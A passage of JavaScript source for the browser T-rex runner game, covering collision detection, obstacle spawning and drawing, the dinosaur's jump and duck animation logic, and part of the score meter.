          this.drawGameOverText(altTextConfig, true);
        }
      } else if (this.flashCounter >= GameOverPanel.FLASH_ITERATIONS) {
        this.reset();
        return;
      }
    }

    this.gameOverRafId = requestAnimationFrame(this.update.bind(this));
  },

  /**
   * Clear game over text.
   */
  clearGameOverTextBounds() {
    this.canvasCtx.save();

    this.canvasCtx.clearRect(
        Math.round(
            this.canvasDimensions.WIDTH / 2 -
            (GameOverPanel.dimensions.TEXT_WIDTH / 2)),
        Math.round((this.canvasDimensions.HEIGHT - 25) / 3),
        GameOverPanel.dimensions.TEXT_WIDTH,
        GameOverPanel.dimensions.TEXT_HEIGHT + 4);
    this.canvasCtx.restore();
  },

  reset() {
    if (this.gameOverRafId) {
      cancelAnimationFrame(this.gameOverRafId);
      this.gameOverRafId = null;
    }
    this.animTimer = 0;
    this.frameTimeStamp = 0;
    this.currentFrame = 0;
    this.flashTimer = 0;
    this.flashCounter = 0;
    this.originalText = true;
  },
};


//******************************************************************************

/**
 * Check for a collision.
 * @param {!Obstacle} obstacle
 * @param {!Trex} tRex T-rex object.
 * @param {CanvasRenderingContext2D=} opt_canvasCtx Optional canvas context for
 *    drawing collision boxes.
 * @return {Array<CollisionBox>|undefined}
 */
function checkForCollision(obstacle, tRex, opt_canvasCtx) {
  const obstacleBoxXPos = Runner.defaultDimensions.WIDTH + obstacle.xPos;

  // Adjustments are made to the bounding box as there is a 1 pixel white
  // border around the t-rex and obstacles.
  const tRexBox = new CollisionBox(
      tRex.xPos + 1,
      tRex.yPos + 1,
      tRex.config.WIDTH - 2,
      tRex.config.HEIGHT - 2);

  const obstacleBox = new CollisionBox(
      obstacle.xPos + 1,
      obstacle.yPos + 1,
      obstacle.typeConfig.width * obstacle.size - 2,
      obstacle.typeConfig.height - 2);

  // Debug outer box
  if (opt_canvasCtx) {
    drawCollisionBoxes(opt_canvasCtx, tRexBox, obstacleBox);
  }

  // Simple outer bounds check.
  if (boxCompare(tRexBox, obstacleBox)) {
    const collisionBoxes = obstacle.collisionBoxes;
    let tRexCollisionBoxes = [];

    if (Runner.isAltGameModeEnabled()) {
      tRexCollisionBoxes = Runner.spriteDefinition.TREX.COLLISION_BOXES;
    } else {
      tRexCollisionBoxes = tRex.ducking ? Trex.collisionBoxes.DUCKING :
                                          Trex.collisionBoxes.RUNNING;
    }

    // Detailed axis aligned box check.
    for (let t = 0; t < tRexCollisionBoxes.length; t++) {
      for (let i = 0; i < collisionBoxes.length; i++) {
        // Adjust the box to actual positions.
        const adjTrexBox =
            createAdjustedCollisionBox(tRexCollisionBoxes[t], tRexBox);
        const adjObstacleBox =
            createAdjustedCollisionBox(collisionBoxes[i], obstacleBox);
        const crashed = boxCompare(adjTrexBox, adjObstacleBox);

        // Draw boxes for debug.
        if (opt_canvasCtx) {
          drawCollisionBoxes(opt_canvasCtx, adjTrexBox, adjObstacleBox);
        }

        if (crashed) {
          return [adjTrexBox, adjObstacleBox];
        }
      }
    }
  }
}


/**
 * Adjust the collision box.
 * @param {!CollisionBox} box The original box.
 * @param {!CollisionBox} adjustment Adjustment box.
 * @return {CollisionBox} The adjusted collision box object.
 */
function createAdjustedCollisionBox(box, adjustment) {
  return new CollisionBox(
      box.x + adjustment.x,
      box.y + adjustment.y,
      box.width,
      box.height);
}


/**
 * Draw the collision boxes for debug.
 */
function drawCollisionBoxes(canvasCtx, tRexBox, obstacleBox) {
  canvasCtx.save();
  canvasCtx.strokeStyle = '#f00';
  canvasCtx.strokeRect(tRexBox.x, tRexBox.y, tRexBox.width, tRexBox.height);

  canvasCtx.strokeStyle = '#0f0';
  canvasCtx.strokeRect(obstacleBox.x, obstacleBox.y,
      obstacleBox.width, obstacleBox.height);
  canvasCtx.restore();
}


/**
 * Compare two collision boxes for a collision.
 * @param {CollisionBox} tRexBox
 * @param {CollisionBox} obstacleBox
 * @return {boolean} Whether the boxes intersected.
 */
function boxCompare(tRexBox, obstacleBox) {
  let crashed = false;
  const tRexBoxX = tRexBox.x;
  const tRexBoxY = tRexBox.y;

  const obstacleBoxX = obstacleBox.x;
  const obstacleBoxY = obstacleBox.y;

  // Axis-Aligned Bounding Box method.
  if (tRexBox.x < obstacleBoxX + obstacleBox.width &&
      tRexBox.x + tRexBox.width > obstacleBoxX &&
      tRexBox.y < obstacleBox.y + obstacleBox.height &&
      tRexBox.height + tRexBox.y > obstacleBox.y) {
    crashed = true;
  }

  return crashed;
}


//******************************************************************************

/**
 * Collision box object.
 * @param {number} x X position.
 * @param {number} y Y Position.
 * @param {number} w Width.
 * @param {number} h Height.
 * @constructor
 */
function CollisionBox(x, y, w, h) {
  this.x = x;
  this.y = y;
  this.width = w;
  this.height = h;
}


//******************************************************************************

/**
 * Obstacle.
 * @param {CanvasRenderingContext2D} canvasCtx
 * @param {ObstacleType} type
 * @param {Object} spriteImgPos Obstacle position in sprite.
 * @param {Object} dimensions
 * @param {number} gapCoefficient Mutipler in determining the gap.
 * @param {number} speed
 * @param {number=} opt_xOffset
 * @param {boolean=} opt_isAltGameMode
 * @constructor
 */
function Obstacle(
    canvasCtx, type, spriteImgPos, dimensions, gapCoefficient, speed,
    opt_xOffset, opt_isAltGameMode) {
  this.canvasCtx = canvasCtx;
  this.spritePos = spriteImgPos;
  this.typeConfig = type;
  this.gapCoefficient = Runner.slowDown ? gapCoefficient * 2 : gapCoefficient;
  this.size = getRandomNum(1, Obstacle.MAX_OBSTACLE_LENGTH);
  this.dimensions = dimensions;
  this.remove = false;
  this.xPos = dimensions.WIDTH + (opt_xOffset || 0);
  this.yPos = 0;
  this.width = 0;
  this.collisionBoxes = [];
  this.gap = 0;
  this.speedOffset = 0;
  this.altGameModeActive = opt_isAltGameMode;
  this.imageSprite = this.typeConfig.type == 'COLLECTABLE' ?
      Runner.altCommonImageSprite :
      this.altGameModeActive ? Runner.altGameImageSprite : Runner.imageSprite;

  // For animated obstacles.
  this.currentFrame = 0;
  this.timer = 0;

  this.init(speed);
}

/**
 * Coefficient for calculating the maximum gap.
 */
Obstacle.MAX_GAP_COEFFICIENT = 1.5;

/**
 * Maximum obstacle grouping count.
 */
Obstacle.MAX_OBSTACLE_LENGTH = 3;


Obstacle.prototype = {
  /**
   * Initialise the DOM for the obstacle.
   * @param {number} speed
   */
  init(speed) {
    this.cloneCollisionBoxes();

    // Only allow sizing if we're at the right speed.
    if (this.size > 1 && this.typeConfig.multipleSpeed > speed) {
      this.size = 1;
    }

    this.width = this.typeConfig.width * this.size;

    // Check if obstacle can be positioned at various heights.
    if (Array.isArray(this.typeConfig.yPos)) {
      const yPosConfig =
          IS_MOBILE ? this.typeConfig.yPosMobile : this.typeConfig.yPos;
      this.yPos = yPosConfig[getRandomNum(0, yPosConfig.length - 1)];
    } else {
      this.yPos = this.typeConfig.yPos;
    }

    this.draw();

    // Make collision box adjustments,
    // Central box is adjusted to the size as one box.
    //      ____        ______        ________
    //    _|   |-|    _|     |-|    _|       |-|
    //   | |<->| |   | |<--->| |   | |<----->| |
    //   | | 1 | |   | |  2  | |   | |   3   | |
    //   |_|___|_|   |_|_____|_|   |_|_______|_|
    //
    if (this.size > 1) {
      this.collisionBoxes[1].width = this.width - this.collisionBoxes[0].width -
          this.collisionBoxes[2].width;
      this.collisionBoxes[2].x = this.width - this.collisionBoxes[2].width;
    }

    // For obstacles that go at a different speed from the horizon.
    if (this.typeConfig.speedOffset) {
      this.speedOffset = Math.random() > 0.5 ? this.typeConfig.speedOffset :
                                               -this.typeConfig.speedOffset;
    }

    this.gap = this.getGap(this.gapCoefficient, speed);

    // Increase gap for audio cues enabled.
    if (Runner.audioCues) {
      this.gap *= 2;
    }
  },

  /**
   * Draw and crop based on size.
   */
  draw() {
    let sourceWidth = this.typeConfig.width;
    let sourceHeight = this.typeConfig.height;

    if (IS_HIDPI) {
      sourceWidth = sourceWidth * 2;
      sourceHeight = sourceHeight * 2;
    }

    // X position in sprite.
    let sourceX =
        (sourceWidth * this.size) * (0.5 * (this.size - 1)) + this.spritePos.x;

    // Animation frames.
    if (this.currentFrame > 0) {
      sourceX += sourceWidth * this.currentFrame;
    }

    this.canvasCtx.drawImage(
        this.imageSprite, sourceX, this.spritePos.y, sourceWidth * this.size,
        sourceHeight, this.xPos, this.yPos, this.typeConfig.width * this.size,
        this.typeConfig.height);
  },

  /**
   * Obstacle frame update.
   * @param {number} deltaTime
   * @param {number} speed
   */
  update(deltaTime, speed) {
    if (!this.remove) {
      if (this.typeConfig.speedOffset) {
        speed += this.speedOffset;
      }
      this.xPos -= Math.floor((speed * FPS / 1000) * deltaTime);

      // Update frame
      if (this.typeConfig.numFrames) {
        this.timer += deltaTime;
        if (this.timer >= this.typeConfig.frameRate) {
          this.currentFrame =
              this.currentFrame === this.typeConfig.numFrames - 1 ?
              0 :
              this.currentFrame + 1;
          this.timer = 0;
        }
      }
      this.draw();

      if (!this.isVisible()) {
        this.remove = true;
      }
    }
  },

  /**
   * Calculate a random gap size.
   * - Minimum gap gets wider as speed increses
   * @param {number} gapCoefficient
   * @param {number} speed
   * @return {number} The gap size.
   */
  getGap(gapCoefficient, speed) {
    const minGap = Math.round(
        this.width * speed + this.typeConfig.minGap * gapCoefficient);
    const maxGap = Math.round(minGap * Obstacle.MAX_GAP_COEFFICIENT);
    return getRandomNum(minGap, maxGap);
  },

  /**
   * Check if obstacle is visible.
   * @return {boolean} Whether the obstacle is in the game area.
   */
  isVisible() {
    return this.xPos + this.width > 0;
  },

  /**
   * Make a copy of the collision boxes, since these will change based on
   * obstacle type and size.
   */
  cloneCollisionBoxes() {
    const collisionBoxes = this.typeConfig.collisionBoxes;

    for (let i = collisionBoxes.length - 1; i >= 0; i--) {
      this.collisionBoxes[i] = new CollisionBox(
          collisionBoxes[i].x, collisionBoxes[i].y, collisionBoxes[i].width,
          collisionBoxes[i].height);
    }
  },
};


//******************************************************************************
/**
 * T-rex game character.
 * @param {HTMLCanvasElement} canvas
 * @param {Object} spritePos Positioning within image sprite.
 * @constructor
 */
function Trex(canvas, spritePos) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.spritePos = spritePos;
  this.xPos = 0;
  this.yPos = 0;
  this.xInitialPos = 0;
  // Position when on the ground.
  this.groundYPos = 0;
  this.currentFrame = 0;
  this.currentAnimFrames = [];
  this.blinkDelay = 0;
  this.blinkCount = 0;
  this.animStartTime = 0;
  this.timer = 0;
  this.msPerFrame = 1000 / FPS;
  this.config = Object.assign(Trex.config, Trex.normalJumpConfig);
  // Current status.
  this.status = Trex.status.WAITING;
  this.jumping = false;
  this.ducking = false;
  this.jumpVelocity = 0;
  this.reachedMinHeight = false;
  this.speedDrop = false;
  this.jumpCount = 0;
  this.jumpspotX = 0;
  this.altGameModeEnabled = false;
  this.flashing = false;

  this.init();
}


/**
 * T-rex player config.
 */
Trex.config = {
  DROP_VELOCITY: -5,
  FLASH_OFF: 175,
  FLASH_ON: 100,
  HEIGHT: 47,
  HEIGHT_DUCK: 25,
  INTRO_DURATION: 1500,
  SPEED_DROP_COEFFICIENT: 3,
  SPRITE_WIDTH: 262,
  START_X_POS: 50,
  WIDTH: 44,
  WIDTH_DUCK: 59,
};

Trex.slowJumpConfig = {
  GRAVITY: 0.25,
  MAX_JUMP_HEIGHT: 50,
  MIN_JUMP_HEIGHT: 45,
  INITIAL_JUMP_VELOCITY: -20,
};

Trex.normalJumpConfig = {
  GRAVITY: 0.6,
  MAX_JUMP_HEIGHT: 30,
  MIN_JUMP_HEIGHT: 30,
  INITIAL_JUMP_VELOCITY: -10,
};

/**
 * Used in collision detection.
 * @enum {Array<CollisionBox>}
 */
Trex.collisionBoxes = {
  DUCKING: [new CollisionBox(1, 18, 55, 25)],
  RUNNING: [
    new CollisionBox(22, 0, 17, 16),
    new CollisionBox(1, 18, 30, 9),
    new CollisionBox(10, 35, 14, 8),
    new CollisionBox(1, 24, 29, 5),
    new CollisionBox(5, 30, 21, 4),
    new CollisionBox(9, 34, 15, 4),
  ],
};


/**
 * Animation states.
 * @enum {string}
 */
Trex.status = {
  CRASHED: 'CRASHED',
  DUCKING: 'DUCKING',
  JUMPING: 'JUMPING',
  RUNNING: 'RUNNING',
  WAITING: 'WAITING',
};

/**
 * Blinking coefficient.
 * @const
 */
Trex.BLINK_TIMING = 7000;


/**
 * Animation config for different states.
 * @enum {Object}
 */
Trex.animFrames = {
  WAITING: {
    frames: [44, 0],
    msPerFrame: 1000 / 3,
  },
  RUNNING: {
    frames: [88, 132],
    msPerFrame: 1000 / 12,
  },
  CRASHED: {
    frames: [220],
    msPerFrame: 1000 / 60,
  },
  JUMPING: {
    frames: [0],
    msPerFrame: 1000 / 60,
  },
  DUCKING: {
    frames: [264, 323],
    msPerFrame: 1000 / 8,
  },
};


Trex.prototype = {
  /**
   * T-rex player initaliser.
   * Sets the t-rex to blink at random intervals.
   */
  init() {
    this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
        Runner.config.BOTTOM_PAD;
    this.yPos = this.groundYPos;
    this.minJumpHeight = this.groundYPos - this.config.MIN_JUMP_HEIGHT;

    this.draw(0, 0);
    this.update(0, Trex.status.WAITING);
  },

  /**
   * Assign the appropriate jump parameters based on the game speed.
   */
  enableSlowConfig: function() {
    const jumpConfig =
        Runner.slowDown ? Trex.slowJumpConfig : Trex.normalJumpConfig;
    Trex.config = Object.assign(Trex.config, jumpConfig);

    this.adjustAltGameConfigForSlowSpeed();
  },

  /**
   * Enables the alternative game. Redefines the dino config.
   * @param {Object} spritePos New positioning within image sprite.
   */
  enableAltGameMode: function(spritePos) {
    this.altGameModeEnabled = true;
    this.spritePos = spritePos;
    const spriteDefinition = Runner.spriteDefinition['TREX'];

    // Update animation frames.
    Trex.animFrames.RUNNING.frames =
        [spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];
    Trex.animFrames.CRASHED.frames = [spriteDefinition.CRASHED.x];

    if (typeof spriteDefinition.JUMPING.x == 'object') {
      Trex.animFrames.JUMPING.frames = spriteDefinition.JUMPING.x;
    } else {
      Trex.animFrames.JUMPING.frames = [spriteDefinition.JUMPING.x];
    }

    Trex.animFrames.DUCKING.frames =
        [spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];

    // Update Trex config
    Trex.config.GRAVITY = spriteDefinition.GRAVITY || Trex.config.GRAVITY;
    Trex.config.HEIGHT = spriteDefinition.RUNNING_1.h,
    Trex.config.INITIAL_JUMP_VELOCITY = spriteDefinition.INITIAL_JUMP_VELOCITY;
    Trex.config.MAX_JUMP_HEIGHT = spriteDefinition.MAX_JUMP_HEIGHT;
    Trex.config.MIN_JUMP_HEIGHT = spriteDefinition.MIN_JUMP_HEIGHT;
    Trex.config.WIDTH = spriteDefinition.RUNNING_1.w;
    Trex.config.WIDTH_JUMP = spriteDefinition.JUMPING.w;
    Trex.config.INVERT_JUMP = spriteDefinition.INVERT_JUMP;

    this.adjustAltGameConfigForSlowSpeed(spriteDefinition.GRAVITY);
    this.config = Trex.config;

    // Adjust bottom horizon placement.
    this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
        Runner.spriteDefinition['BOTTOM_PAD'];
    this.yPos = this.groundYPos;
    this.reset();
  },

  /**
   * Slow speeds adjustments for the alt game modes.
   * @param {number=} opt_gravityValue
   */
  adjustAltGameConfigForSlowSpeed: function(opt_gravityValue) {
    if (Runner.slowDown) {
      if (opt_gravityValue) {
        Trex.config.GRAVITY = opt_gravityValue / 1.5;
      }
      Trex.config.MIN_JUMP_HEIGHT *= 1.5;
      Trex.config.MAX_JUMP_HEIGHT *= 1.5;
      Trex.config.INITIAL_JUMP_VELOCITY =
          Trex.config.INITIAL_JUMP_VELOCITY * 1.5;
    }
  },

  /**
   * Setter whether dino is flashing.
   * @param {boolean} status
   */
  setFlashing: function(status) {
    this.flashing = status;
  },

  /**
   * Setter for the jump velocity.
   * The approriate drop velocity is also set.
   * @param {number} setting
   */
  setJumpVelocity(setting) {
    this.config.INITIAL_JUMP_VELOCITY = -setting;
    this.config.DROP_VELOCITY = -setting / 2;
  },

  /**
   * Set the animation status.
   * @param {!number} deltaTime
   * @param {Trex.status=} opt_status Optional status to switch to.
   */
  update(deltaTime, opt_status) {
    this.timer += deltaTime;

    // Update the status.
    if (opt_status) {
      this.status = opt_status;
      this.currentFrame = 0;
      this.msPerFrame = Trex.animFrames[opt_status].msPerFrame;
      this.currentAnimFrames = Trex.animFrames[opt_status].frames;

      if (opt_status === Trex.status.WAITING) {
        this.animStartTime = getTimeStamp();
        this.setBlinkDelay();
      }
    }
    // Game intro animation, T-rex moves in from the left.
    if (this.playingIntro && this.xPos < this.config.START_X_POS) {
      this.xPos += Math.round((this.config.START_X_POS /
          this.config.INTRO_DURATION) * deltaTime);
      this.xInitialPos = this.xPos;
    }

    if (this.status === Trex.status.WAITING) {
      this.blink(getTimeStamp());
    } else {
      this.draw(this.currentAnimFrames[this.currentFrame], 0);
    }

    // Update the frame position.
    if (!this.flashing && this.timer >= this.msPerFrame) {
      this.currentFrame = this.currentFrame ==
          this.currentAnimFrames.length - 1 ? 0 : this.currentFrame + 1;
      this.timer = 0;
    }

    if (!this.altGameModeEnabled) {
      // Speed drop becomes duck if the down key is still being pressed.
      if (this.speedDrop && this.yPos === this.groundYPos) {
        this.speedDrop = false;
        this.setDuck(true);
      }
    }
  },

  /**
   * Draw the t-rex to a particular position.
   * @param {number} x
   * @param {number} y
   */
  draw(x, y) {
    let sourceX = x;
    let sourceY = y;
    let sourceWidth = this.ducking && this.status !== Trex.status.CRASHED ?
        this.config.WIDTH_DUCK :
        this.config.WIDTH;
    let sourceHeight = this.config.HEIGHT;
    const outputHeight = sourceHeight;

    let jumpOffset = Runner.spriteDefinition.TREX.JUMPING.xOffset;

    // Width of sprite changes on jump.
    if (this.altGameModeEnabled && this.jumping &&
        this.status !== Trex.status.CRASHED) {
      sourceWidth = this.config.WIDTH_JUMP;
    }

    if (IS_HIDPI) {
      sourceX *= 2;
      sourceY *= 2;
      sourceWidth *= 2;
      sourceHeight *= 2;
      jumpOffset *= 2;
    }

    // Adjustments for sprite sheet position.
    sourceX += this.spritePos.x;
    sourceY += this.spritePos.y;

    // Flashing.
    if (this.flashing) {
      if (this.timer < this.config.FLASH_ON) {
        this.canvasCtx.globalAlpha = 0.5;
      } else if (this.timer > this.config.FLASH_OFF) {
        this.timer = 0;
      }
    }

    // Ducking.
    if (!this.altGameModeEnabled && this.ducking &&
        this.status !== Trex.status.CRASHED) {
      this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
          sourceWidth, sourceHeight,
          this.xPos, this.yPos,
          this.config.WIDTH_DUCK, outputHeight);
    } else if (
        this.altGameModeEnabled && this.jumping &&
        this.status !== Trex.status.CRASHED) {
      // Jumping with adjustments.
      this.canvasCtx.drawImage(
          Runner.imageSprite, sourceX, sourceY, sourceWidth, sourceHeight,
          this.xPos - jumpOffset, this.yPos, this.config.WIDTH_JUMP,
          outputHeight);
    } else {
      // Crashed whilst ducking. Trex is standing up so needs adjustment.
      if (this.ducking && this.status === Trex.status.CRASHED) {
        this.xPos++;
      }
      // Standing / running
      this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
          sourceWidth, sourceHeight,
          this.xPos, this.yPos,
          this.config.WIDTH, outputHeight);
    }
    this.canvasCtx.globalAlpha = 1;
  },

  /**
   * Sets a random time for the blink to happen.
   */
  setBlinkDelay() {
    this.blinkDelay = Math.ceil(Math.random() * Trex.BLINK_TIMING);
  },

  /**
   * Make t-rex blink at random intervals.
   * @param {number} time Current time in milliseconds.
   */
  blink(time) {
    const deltaTime = time - this.animStartTime;

    if (deltaTime >= this.blinkDelay) {
      this.draw(this.currentAnimFrames[this.currentFrame], 0);

      if (this.currentFrame === 1) {
        // Set new random delay to blink.
        this.setBlinkDelay();
        this.animStartTime = time;
        this.blinkCount++;
      }
    }
  },

  /**
   * Initialise a jump.
   * @param {number} speed
   */
  startJump(speed) {
    if (!this.jumping) {
      this.update(0, Trex.status.JUMPING);
      // Tweak the jump velocity based on the speed.
      this.jumpVelocity = this.config.INITIAL_JUMP_VELOCITY - (speed / 10);
      this.jumping = true;
      this.reachedMinHeight = false;
      this.speedDrop = false;

      if (this.config.INVERT_JUMP) {
        this.minJumpHeight = this.groundYPos + this.config.MIN_JUMP_HEIGHT;
      }
    }
  },

  /**
   * Jump is complete, falling down.
   */
  endJump() {
    if (this.reachedMinHeight &&
        this.jumpVelocity < this.config.DROP_VELOCITY) {
      this.jumpVelocity = this.config.DROP_VELOCITY;
    }
  },

  /**
   * Update frame for a jump.
   * @param {number} deltaTime
   */
  updateJump(deltaTime) {
    const msPerFrame = Trex.animFrames[this.status].msPerFrame;
    const framesElapsed = deltaTime / msPerFrame;

    // Speed drop makes Trex fall faster.
    if (this.speedDrop) {
      this.yPos += Math.round(this.jumpVelocity *
          this.config.SPEED_DROP_COEFFICIENT * framesElapsed);
    } else if (this.config.INVERT_JUMP) {
      this.yPos -= Math.round(this.jumpVelocity * framesElapsed);
    } else {
      this.yPos += Math.round(this.jumpVelocity * framesElapsed);
    }

    this.jumpVelocity += this.config.GRAVITY * framesElapsed;

    // Minimum height has been reached.
    if (this.config.INVERT_JUMP && (this.yPos > this.minJumpHeight) ||
        !this.config.INVERT_JUMP && (this.yPos < this.minJumpHeight) ||
        this.speedDrop) {
      this.reachedMinHeight = true;
    }

    // Reached max height.
    if (this.config.INVERT_JUMP && (this.yPos > -this.config.MAX_JUMP_HEIGHT) ||
        !this.config.INVERT_JUMP && (this.yPos < this.config.MAX_JUMP_HEIGHT) ||
        this.speedDrop) {
      this.endJump();
    }

    // Back down at ground level. Jump completed.
    if ((this.config.INVERT_JUMP && this.yPos) < this.groundYPos ||
        (!this.config.INVERT_JUMP && this.yPos) > this.groundYPos) {
      this.reset();
      this.jumpCount++;

      if (Runner.audioCues) {
        Runner.generatedSoundFx.loopFootSteps();
      }
    }
  },

  /**
   * Set the speed drop. Immediately cancels the current jump.
   */
  setSpeedDrop() {
    this.speedDrop = true;
    this.jumpVelocity = 1;
  },

  /**
   * @param {boolean} isDucking
   */
  setDuck(isDucking) {
    if (isDucking && this.status !== Trex.status.DUCKING) {
      this.update(0, Trex.status.DUCKING);
      this.ducking = true;
    } else if (this.status === Trex.status.DUCKING) {
      this.update(0, Trex.status.RUNNING);
      this.ducking = false;
    }
  },

  /**
   * Reset the t-rex to running at start of game.
   */
  reset() {
    this.xPos = this.xInitialPos;
    this.yPos = this.groundYPos;
    this.jumpVelocity = 0;
    this.jumping = false;
    this.ducking = false;
    this.update(0, Trex.status.RUNNING);
    this.midair = false;
    this.speedDrop = false;
    this.jumpCount = 0;
  },
};


//******************************************************************************

/**
 * Handles displaying the distance meter.
 * @param {!HTMLCanvasElement} canvas
 * @param {Object} spritePos Image position in sprite.
 * @param {number} canvasWidth
 * @constructor
 */
function DistanceMeter(canvas, spritePos, canvasWidth) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.image = Runner.imageSprite;
  this.spritePos = spritePos;
  this.x = 0;
  this.y = 5;

  this.currentDistance = 0;
  this.maxScore = 0;
  this.highScore = '0';
  this.container = null;

  this.digits = [];
  this.achievement = false;
  this.defaultString = '';
  this.flashTimer = 0;
  this.flashIterations = 0;
  this.invertTrigger = false;
  this.flashingRafId = null;
  this.highScoreBounds = {};
  this.highScoreFlashing = false;

  this.config = DistanceMeter.config;
  this.maxScoreUnits = this.config.MAX_DISTANCE_UNITS;
  this.canvasWidth = canvasWidth;
  this.init(canvasWidth);
}


/**
 * @enum {number}
 */
DistanceMeter.dimensions = {
  WIDTH: 10,
  HEIGHT: 13,
  DEST_WIDTH: 11,
};


/**
 * Y positioning of the digits in the sprite sheet.
 * X position is always 0.
 * @type {Array<number>}
 */
DistanceMeter.yPos = [0, 13, 27, 40, 53, 67, 80, 93, 107, 120];


/**
 * Distance meter config.
 * @enum {number}
 */
DistanceMeter.config = {
  // Number of digits.
  MAX_DISTANCE_UNITS: 5,

  // Distance that causes achievement animation.
  ACHIEVEMENT_DISTANCE: 100,

  // Used for conversion from pixel distance to a scaled unit.
  COEFFICIENT: 0.025,

  // Flash duration in milliseconds.
  FLASH_DURATION: 1000 / 4,

  // Flash iterations for achievement animation.
  FLASH_ITERATIONS: 3,

  // Padding around the high score hit area.
  HIGH_SCORE_HIT_AREA_PADDING: 4,
};


DistanceMeter.prototype = {
  /**
   * Initialise the distance meter to '00000'.
   * @param {number} width Canvas width in px.
   */
  init(width) {
    let maxDistanceStr = '';

    this.calcXPos(width);
    this.maxScore = this.maxScoreUnits;
    for (let i = 0; i < this.maxScoreUnits; i++) {
      this.draw(i, 0);
      this.defaultString += '0';
      maxDistanceStr += '9';
    }

    this.maxScore = parseInt(maxDistanceStr, 10);
  },

  /**
   * Calculate the xPos in the canvas.
   * @param {number} canvasWidth
   */
  calcXPos(canvasWidth) {
    this.x = canvasWidth - (DistanceMeter.dimensions.DEST_WIDTH *
        (this.maxScoreUnits + 1));
  },

  /**
   * Draw a digit to canvas.
   * @param {number} digitPos Position of the digit.
   * @param {number} value Digit value 0-9.
   * @param {boolean=} opt_highScore Whether drawing the high score.
   */
  draw(digitPos, value, opt_highScore) {
    let sourceWidth = DistanceMeter.dimensions.WIDTH;
    let sourceHeight = DistanceMeter.dimensions.HEIGHT;
    let sourceX = DistanceMeter.dimensions.WIDTH * value;
    let sourceY = 0;

    const targetX = digitPos * DistanceMeter.dimensions.DEST_WIDTH;
    const targetY = this.y;
    const targetWidth = DistanceMeter.dimensions.WIDTH;
    const targetHeight = DistanceMeter.dimensions.HEIGHT;

    // For high DPI we 2x source values.
    if (IS_HIDPI) {
      sourceWidth *= 2;
      sourceHeight *= 2;
      sourceX *= 2;
    }

    sourceX += this.spritePos.x;
    sourceY += this.spritePos.y;

    this.canvasCtx.save();

    if (IS_RTL) {
      if (opt_highScore) {
        this.canvasCtx.translate(
            this.canvasWidth -
                (DistanceMeter.dimensions.WIDTH * (this.maxScoreUnits + 3)),
            this.y);
      } else {
        this.canvasCtx.translate(
            this.canvasWidth - DistanceMeter.dimensions.WIDTH, this.y);
      }
      this.canvasCtx.scale(-1, 1);
    } else {
      const highScoreX =
          this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH;
      if (opt_highScore) {
        this.canvasCtx.translate(highScoreX, this.y);
      } else {
        this.canvasCtx.translate(this.x, this.y);
      }
    }

    this.canvasCtx.drawImage(
        this.image,
        sourceX,
        sourceY,
        sourceWidth,
        sourceHeight,
        targetX,
        targetY,
        targetWidth,
        targetHeight,
    );

    this.canvasCtx.restore();
  },

  /**
   * Covert pixel distance to a 'real' distance.
   * @param {number} distance Pixel distance ran.
   * @return {number} The 'real' distance ran.
   */
  getActualDistance(distance) {
    return distance ? Math.round(distance * this.config.COEFFICIENT) : 0;
  },

  /**
   * Update the distance meter.
   * @param {number} distance
   * @param {number} deltaTime
   * @return {boolean} Whether the acheivement sound fx should be played.
   */
  update(deltaTime, distance) {
    let paint = true;
    let playSound = false;

    if (!this.achievement) {
      distance = this.getActualDistance(distance);
      // Score has gone beyond the initial digit count.
      if (distance > this.maxScore && this.maxScoreUnits ==
        this.config.MAX_DISTANCE_UNITS) {
        this.maxScoreUnits++;
        this.maxScore = parseInt(this.maxScore + '9', 10);
      } else {
        this.distance = 0;
      }

      if (distance > 0) {
        // Achievement unlocked.
        if (distance % this.config.ACHIEVEMENT_DISTANCE === 0) {
          // Flash score and play sound.
          this.achievement = true;
          this.flashTimer = 0;
          playSound = true;
        }

        // Create a string representation of the distance with leading 0.
        const distanceStr = (this.defaultString +
            distance).substr(-this.maxScoreUnits);
        this.digits = distanceStr.split('');
      } else {
        this.digits = this.defaultString.split('');
      }
    } else {
      // Control flashing of the score on reaching acheivement.
      if (this.flashIterations <= this.config.FLASH_ITERATIONS) {
        this.flashTimer += deltaTime;

        if (this.flashTimer < this.config.FLASH_DURATION) {
          paint = false;
        } else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
          this.flashTimer = 0;
          this.flashIterations++;
        }
      } else {
        this.achievement = false;
        this.flashIterations = 0;
        this.flashTimer = 0;
      }
    }

    // Draw the digits if not flashing.
    if (paint) {
      for (let i = this.digits.length - 1; i >= 0; i--) {
        this.draw(i, parseInt(this.digits[i], 10));
      }
    }

    this.drawHighScore();
    return playSound;
  },

  /**
   * Draw the high score.
   */
  drawHighScore() {
    if (parseInt(this.highScore, 10) > 0) {
      this.canvasCtx.save();
      this.canvasCtx.globalAlpha = .8;
      for (let i = this.highScore.length - 1; i >= 0; i--) {
        this.draw(i, parseInt(this.highScore[i], 10), true);
      }
      this.canvasCtx.restore();
    }
  },

  /**
   * Set the highscore as a array string.
   * Position of char in the sprite: H - 10, I - 11.
   * @param {number} distance Distance ran in pixels.
   */
  setHighScore(distance) {
    distance = this.getActualDistance(distance);
    const highScoreStr = (this.defaultString +
        distance).substr(-this.maxScoreUnits);

    this.highScore = ['10', '11', ''].concat(highScoreStr.split(''));
  },


  /**
   * Whether a clicked is in the high score area.
   * @param {Event} e Event object.
   * @return {boolean} Whether the click was in the high score bounds.
   */
  hasClickedOnHighScore(e) {
    let x = 0;
    let y = 0;

    if (e.touches) {
      // Bounds for touch differ from pointer.
      const canvasBounds = this.canvas.getBoundingClientRect();
      x = e.touches[0].clientX - canvasBounds.left;
      y = e.touches[0].clientY - canvasBounds.top;
    } else {
      x = e.offsetX;
      y = e.offsetY;
    }

    this.highScoreBounds = this.getHighScoreBounds();
    return x >= this.highScoreBounds.x && x <=
        this.highScoreBounds.x + this.highScoreBounds.width &&
        y >= this.highScoreBounds.y && y <=
